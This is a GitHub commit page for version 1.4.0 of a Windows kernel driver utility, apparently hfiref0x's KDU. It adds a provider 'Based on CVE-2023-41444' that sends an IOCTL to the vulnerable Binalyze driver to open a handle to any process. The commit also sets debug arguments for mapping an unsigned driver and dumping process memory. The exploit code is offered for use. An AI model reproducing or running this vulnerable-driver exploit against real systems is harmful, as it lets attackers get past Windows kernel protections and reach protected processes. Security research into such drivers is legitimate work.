-
Notifications
You must be signed in to change notification settings - Fork 429
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge pull request #81 from hfiref0x/dev140
v 1.4.0
- Loading branch information
Showing
85 changed files
with
894 additions
and
526 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,11 +1,11 @@ | ||
<?xml version="1.0" encoding="utf-8"?> | ||
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> | ||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> | ||
<LocalDebuggerCommandArguments>-test</LocalDebuggerCommandArguments> | ||
<LocalDebuggerCommandArguments>-prv 43 -dmp 440</LocalDebuggerCommandArguments> | ||
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor> | ||
</PropertyGroup> | ||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> | ||
<LocalDebuggerCommandArguments>-prv 40 -dse 6</LocalDebuggerCommandArguments> | ||
<LocalDebuggerCommandArguments>-prv 42 -map c:\install\dummy2.sys</LocalDebuggerCommandArguments> | ||
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor> | ||
</PropertyGroup> | ||
</Project> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,56 @@ | ||
/******************************************************************************* | ||
* | ||
* (C) COPYRIGHT AUTHORS, 2023 | ||
* | ||
* TITLE: BINALYZE.CPP | ||
* | ||
* VERSION: 1.40 | ||
* | ||
* DATE: 20 Oct 2023 | ||
* | ||
* Binalyze driver routines. | ||
* | ||
* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF | ||
* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED | ||
* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A | ||
* PARTICULAR PURPOSE. | ||
* | ||
*******************************************************************************/ | ||
|
||
#include "global.h" | ||
#include "idrv/binalyze.h" | ||
|
||
// | ||
// Based on CVE-2023-41444 | ||
// | ||
|
||
/* | ||
* BeDrvOpenProcess | ||
* | ||
* Purpose: | ||
* | ||
* Open process via Binalyze driver. | ||
* | ||
*/ | ||
BOOL WINAPI BeDrvOpenProcess( | ||
_In_ HANDLE DeviceHandle, | ||
_In_ HANDLE ProcessId, | ||
_In_ ACCESS_MASK DesiredAccess, | ||
_Out_ PHANDLE ProcessHandle) | ||
{ | ||
UNREFERENCED_PARAMETER(DesiredAccess); | ||
|
||
BOOL bResult = FALSE; | ||
DWORD data = HandleToUlong(ProcessId); | ||
|
||
bResult = supCallDriver(DeviceHandle, | ||
IOCTL_IREC_OPEN_PROCESS, | ||
&data, | ||
sizeof(data), | ||
&data, | ||
sizeof(data)); | ||
|
||
*ProcessHandle = UlongToHandle(data); | ||
|
||
return bResult; | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,32 @@ | ||
/******************************************************************************* | ||
* | ||
* (C) COPYRIGHT AUTHORS, 2023 | ||
* | ||
* TITLE: BINALYZE.H | ||
* | ||
* VERSION: 1.40 | ||
* | ||
* DATE: 20 Oct 2023 | ||
* | ||
* Binalyze driver interface header. | ||
* | ||
* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF | ||
* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED | ||
* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A | ||
* PARTICULAR PURPOSE. | ||
* | ||
*******************************************************************************/ | ||
|
||
#pragma once | ||
|
||
#define IREC_DEVICE_TYPE (DWORD)0x8001 | ||
#define IREC_FUNCTION_OPEN_PROCESS (DWORD)0x80A | ||
|
||
#define IOCTL_IREC_OPEN_PROCESS \ | ||
CTL_CODE(IREC_DEVICE_TYPE, IREC_FUNCTION_OPEN_PROCESS, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x80012028 | ||
|
||
BOOL WINAPI BeDrvOpenProcess( | ||
_In_ HANDLE DeviceHandle, | ||
_In_ HANDLE ProcessId, | ||
_In_ ACCESS_MASK DesiredAccess, | ||
_Out_ PHANDLE ProcessHandle); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Oops, something went wrong.